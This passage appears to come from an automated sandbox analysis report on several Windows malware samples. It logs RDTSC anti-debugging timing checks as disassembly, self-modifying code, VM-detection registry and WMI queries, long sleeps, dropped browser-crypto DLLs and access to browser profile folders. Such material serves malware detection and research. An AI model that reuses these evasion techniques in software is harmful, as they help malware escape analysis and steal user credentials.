Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8A6E9E second address: 8A6EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8A6EA7 second address: 8A6EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8A6EAB second address: 8A6EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B4BB8 second address: 8B4BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B4BC2 second address: 8B4BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B4BC8 second address: 8B4BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5021 second address: 8B5027 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5027 second address: 8B5043 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEE8C708CDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jno 00007FEE8C708CD6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5351 second address: 8B535C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B535C second address: 8B5375 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE8C708CD6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jl 00007FEE8C708CD6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5375 second address: 8B5379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5379 second address: 8B537F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B537F second address: 8B5386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5BE7 second address: 8B5BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B5D7E second address: 8B5DC3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE8CE578F6h 0x00000008 jmp 00007FEE8CE578FFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FEE8CE57906h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FEE8CE57901h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B663F second address: 8B6643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B6643 second address: 8B6653 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B690D second address: 8B6925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FEE8C708CDFh 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B6925 second address: 8B6929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B99B7 second address: 8B99BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8B9AAB second address: 8B9AB5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8BECDD second address: 8BED06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FEE8C708CD6h 0x0000000c js 00007FEE8C708CD6h 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FEE8C708CE3h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 881FE3 second address: 881FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C278B second address: 8C2791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C2791 second address: 8C279C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C2A33 second address: 8C2A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007FEE8C708CFAh 0x0000000b jmp 00007FEE8C708CE4h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C2A55 second address: 8C2A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C2D15 second address: 8C2D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007FEE8C708CE2h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C2D2E second address: 8C2D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4011 second address: 8C4017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4017 second address: 8C401B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C423E second address: 8C4244 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C44BD second address: 8C44C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4B81 second address: 8C4B86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4BFB second address: 8C4C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FEE8CE578F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4C05 second address: 8C4C17 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEE8C708CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4C17 second address: 8C4C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4C1B second address: 8C4C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4DBF second address: 8C4DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE57908h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4F77 second address: 8C4F8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEE8C708CDAh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C4F8D second address: 8C4F93 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C7288 second address: 8C728E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C728E second address: 8C7294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C7294 second address: 8C7304 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FEE8C708CD8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D3474h], edi 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007FEE8C708CD8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 and esi, dword ptr [ebp+122D3A9Bh] 0x0000004d push 00000000h 0x0000004f mov di, dx 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FEE8C708CDBh 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C7B0F second address: 8C7B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEE8CE578F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C8786 second address: 8C8790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FEE8C708CD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C932F second address: 8C9339 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8C9022 second address: 8C9039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEE8C708CD6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d jns 00007FEE8C708CE0h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8CE943 second address: 8CE94E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FEE8CE578F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	RDTSC instruction interceptor: First address: 8CF8DA second address: 8CF8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Special instruction interceptor: First address: 247CA4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Special instruction interceptor: First address: 247D5D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Special instruction interceptor: First address: 3E8531 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Special instruction interceptor: First address: 476886 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 71DD04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 71DD9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 8B9854 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 71B566 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 8E2D08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 950BE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: D2FD14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: ED71D3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: ED5DAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: ED5AB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: D2FC31 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: EE78AA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Special instruction interceptor: First address: F5F978 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Special instruction interceptor: First address: 72391F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Special instruction interceptor: First address: 87ED83 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Special instruction interceptor: First address: 87EE2E instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Special instruction interceptor: First address: 87EDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Special instruction interceptor: First address: AB7C3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5AED83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5AEE2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5AEDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7E7C3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Special instruction interceptor: First address: 2BDE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Special instruction interceptor: First address: 34F426 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Memory allocated: 52D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Memory allocated: 5530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Memory allocated: 5350000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe TID: 6556	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe TID: 6652	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe TID: 6600	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe TID: 1892	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe TID: 3848	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe TID: 6596	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe TID: 5804	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe TID: 2536	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe TID: 6500	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe TID: 5828	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2084	Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2084	Thread sleep time: -3060000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2084	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe TID: 2716	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\GCBKECAKFB.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C5D5070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

5_2_6C5D5070

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C4BEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

5_2_6C4BEBF0

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
